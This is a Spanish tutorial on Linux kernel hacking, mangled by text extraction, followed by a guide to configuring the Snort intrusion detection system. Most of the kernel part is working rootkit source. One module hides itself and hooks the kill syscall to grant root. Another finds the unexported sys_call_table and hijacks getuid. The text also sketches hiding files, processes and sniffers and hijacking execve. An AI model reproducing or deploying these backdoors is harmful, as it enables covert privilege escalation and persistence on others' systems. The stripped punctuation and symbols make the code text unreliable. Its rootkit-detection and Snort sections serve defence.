backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

